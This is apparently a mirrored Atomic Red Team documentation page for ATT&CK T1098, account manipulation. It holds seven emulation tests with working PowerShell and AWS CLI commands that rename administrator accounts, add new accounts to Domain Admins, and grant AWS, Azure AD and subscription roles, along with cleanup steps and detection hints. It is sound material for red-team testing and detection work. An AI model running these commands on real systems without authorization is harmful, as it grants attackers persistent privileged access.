security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
AutoSUID_linux
atomic-red-team/atomics/T1098/T1098.md
T
CircleCI Atomic Red Team doc generator 6835dffd2e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci]
2022-02-03 17:54:53 +00:00

20 KiB
Raw Permalink Blame History

T1098 - Account Manipulation

Description from ATT&CK

Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.

Atomic Tests


Atomic Test #1 - Admin Account Manipulate

Manipulate Admin Account Name

Supported Platforms: Windows

auto_generated_guid: 5598f7cb-cf43-455e-883a-f6008c5d46af

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$x = Get-Random -Minimum 2 -Maximum 9999
$y = Get-Random -Minimum 2 -Maximum 9999
$z = Get-Random -Minimum 2 -Maximum 9999
$w = Get-Random -Minimum 2 -Maximum 9999
Write-Host HaHa_$x$y$z

$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name

foreach($member in $fmm) {
    if($member -like "*Administrator*") {
        $account = $member.Name -replace ".+\\\","" # strip computername\
        $originalDescription = (Get-LocalUser -Name $account).Description
        Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
        Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
        Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME
        }
    }

Cleanup Commands:

$list = Get-LocalUser |?{$_.Description -like "atr:*"}
foreach($u in $list) {
  $u.Description -match "atr:(?<Name>[^;]+);(?<Description>.*)"
  Set-LocalUser -Name $u.Name -Description $Matches.Description
  Rename-LocalUser -Name $u.Name -NewName $Matches.Name
  Write-Host "Successfully Reverted Account $($u.Name) to $($Matches.Name) on " $Env:COMPUTERNAME
}


Atomic Test #2 - Domain Account and Group Manipulate

Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins).

The quickest way to run it is against a domain controller, using -Session of Invoke-AtomicTest. Alternatively, you need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to create the user and alter the group. Automatic installation of the dependency requires an elevated session, and is unlikely to work with Powershell Core (untested).

If you consider running this test against a production Active Directory, the good practise is to create a dedicated service account whose delegation is given onto a dedicated OU for user creation and deletion, as well as delegated as group manager of the target group.

Example: Invoke-AtomicTest -Session $session 'T1098' -TestNames "Domain Account and Group Manipulate" -InputArgs @{"group" = "DNSAdmins" }

Supported Platforms: Windows

auto_generated_guid: a55a22e9-a3d3-42ce-bd48-2653adb8f7a9

Inputs:

Name Description Type Default Value
account_prefix Prefix string of the random username (by default, atr-). Because the cleanup deletes such account based on
a match (&(samaccountname=#{account_prefix}-*)(givenName=Test)), if you are to change it, be careful. String atr-
group Name of the group to alter String Domain Admins
create_args Additional string appended to New-ADUser call String

Attack Commands: Run with powershell!

$x = Get-Random -Minimum 2 -Maximum 99
$y = Get-Random -Minimum 2 -Maximum 99
$z = Get-Random -Minimum 2 -Maximum 99
$w = Get-Random -Minimum 2 -Maximum 99

Import-Module ActiveDirectory
$account = "#{account_prefix}-$x$y$z"
New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args}
Add-ADGroupMember "#{group}" $account

Cleanup Commands:

Get-ADUser -LDAPFilter "(&(samaccountname=#{account_prefix}-*)(givenName=Test))" | Remove-ADUser -Confirm:$False

Dependencies: Run with powershell!

Description: PS Module ActiveDirectory
Check Prereq Commands:
Try {
    Import-Module ActiveDirectory -ErrorAction Stop | Out-Null
    exit 0
} 
Catch {
    exit 1
}
Get Prereq Commands:
if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
  Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
} else {
  Install-WindowsFeature RSAT-AD-PowerShell
}


Atomic Test #3 - AWS - Create a group and add a user to that group

Adversaries create AWS group, add users to specific to that group to elevate their privilieges to gain more accesss

Supported Platforms: Iaas:aws

auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f110a31122

Inputs:

Name Description Type Default Value
username Name of the AWS group to create String atomicredteam

Attack Commands: Run with sh!

aws iam create-group --group-name #{username}
aws iam add-user-to-group --user-name #{username} --group-name #{username}

Cleanup Commands:

aws iam remove-user-from-group --user-name #{username} --group-name #{username}
aws iam delete-group --group-name #{username}

Dependencies: Run with sh!

Description: Check if the user exists, we can only add a user to a group if the user exists.
Check Prereq Commands:
aws iam list-users | grep #{username}
Get Prereq Commands:
echo Please run atomic test T1136.003, before running this atomic test


Atomic Test #4 - Azure - adding user to Azure AD role

The adversarie want to add user to some Azure AD role. Threat actor may be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, Privileged authentication administrator (this role can reset Global Administrator password!). By default, the role Global Reader is assigned to service principal in this test.

The account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.

Detection hint - check Activity "Add member to role" in Azure AD Audit Logs. In targer you will also see User as a type.

Supported Platforms: Azure-ad

auto_generated_guid: 0e65ae27-5385-46b4-98ac-607a8ee82261

Inputs:

Name Description Type Default Value
username Azure AD username String jonh@contoso.com
password Azure AD password String p4sswd
user_principal_name Name of the targeted user (user principal) String SuperUser
role_name Name of the targed Azure AD role String Global Reader

Attack Commands: Run with powershell!

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential

$user = Get-AzureADUser | where-object {$_.DisplayName -eq "#{user_principal_name}"}
if ($user -eq $null) { Write-Warning "User not found"; exit }
$role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId
Write-Host "User $($user.DisplayName) was added to $($role.DisplayName) role"

Cleanup Commands:

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore

$user = Get-AzureADUser | where-object {$_.DisplayName -eq "#{user_principal_name}"}
if ($user -eq $null) { Write-Warning "User not found"; exit }
$role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $user.ObjectId
Write-Host "User $($user.DisplayName) was removed from $($role.DisplayName) role"

Dependencies: Run with powershell!

Description: AzureAD module must be installed.
Check Prereq Commands:
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:
Install-Module -Name AzureAD -Force


Atomic Test #5 - Azure - adding service principal to Azure AD role

The adversarie want to add service principal to some Azure AD role. Threat actor may be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, Privileged authentication administrator (this role can reset Global Administrator password!). By default, the role Global Reader is assigned to service principal in this test.

The account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.

Detection hint - check Activity "Add member to role" in Azure AD Audit Logs. In targer you will also see Service Principal as a type.

Supported Platforms: Azure-ad

auto_generated_guid: 92c40b3f-c406-4d1f-8d2b-c039bf5009e4

Inputs:

Name Description Type Default Value
username Azure AD username String jonh@contoso.com
password Azure AD password String p4sswd
service_principal_name Name of the service principal String SuperSP
role_name Name of the targed Azure AD role String Global Reader

Attack Commands: Run with powershell!

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential

$sp = Get-AzureADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.DisplayName)"

Cleanup Commands:

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore

$sp = Get-AzureADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $sp.ObjectId
Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.DisplayName) role"

Dependencies: Run with powershell!

Description: AzureAD module must be installed.
Check Prereq Commands:
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:
Install-Module -Name AzureAD -Force


Atomic Test #6 - Azure - adding user to Azure role in subscription

The adversarie want to add user to some Azure role, also called Azure resource role. Threat actor may be interested primarily in highly privileged roles, e.g. Owner, Contributor. By default, the role Reader is assigned to user in this test.

New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.

The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write (e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All and Microsoft Graph Directory.Read.All permissions.

Detection hint - check Operation Name "Create role assignment" in subscriptions Activity Logs.

Supported Platforms: Iaas:azure

auto_generated_guid: 1a94b3fc-b080-450a-b3d8-6d9b57b472ea

Inputs:

Name Description Type Default Value
username Azure AD username String jonh@contoso.com
password Azure AD password String p4sswd
user_principal_name Name of the targeted user (user principal) String SuperUser
role_name Name of the targed Azure role String Reader
subscription Name of the targed subscription String Azure subscription 1

Attack Commands: Run with powershell!

Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzAccount -Credential $Credential

$user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}"}
if ($user -eq $null) { Write-Warning "User not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"

Cleanup Commands:

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzAccount -Credential $Credential -ErrorAction Ignore

$user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}"}
if ($user -eq $null) { Write-Warning "User not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

Remove-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)"

Dependencies: Run with powershell!

Description: Az.Resources module must be installed.
Check Prereq Commands:
try {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:
Install-Module -Name Az.Resources -Force


Atomic Test #7 - Azure - adding service principal to Azure role in subscription

The adversarie want to add service principal to some Azure role, also called Azure resource role. Threat actor may be interested primarily in highly privileged roles, e.g. Owner, Contributor. By default, the role Reader is assigned to service principal in this test.

New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.

The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write (e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All and Microsoft Graph Directory.Read.All permissions.

Detection hint - check Operation Name "Create role assignment" in subscriptions Activity Logs.

Supported Platforms: Iaas:azure

auto_generated_guid: c8f4bc29-a151-48da-b3be-4680af56f404

Inputs:

Name Description Type Default Value
username Azure AD username String jonh@contoso.com
password Azure AD password String p4sswd
service_principal_name Name of the service principal String SuperSP
role_name Name of the targed Azure role String Reader
subscription Name of the targed subscription String Azure subscription 1

Attack Commands: Run with powershell!

Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzAccount -Credential $Credential

$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"} 
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

New-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"

Cleanup Commands:

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzAccount -Credential $Credential -ErrorAction Ignore

$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"} 
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

Remove-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)"

Dependencies: Run with powershell!

Description: Az.Resources module must be installed.
Check Prereq Commands:
try {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:
Install-Module -Name Az.Resources -Force

Reference in New Issue View Git Blame Copy Permalink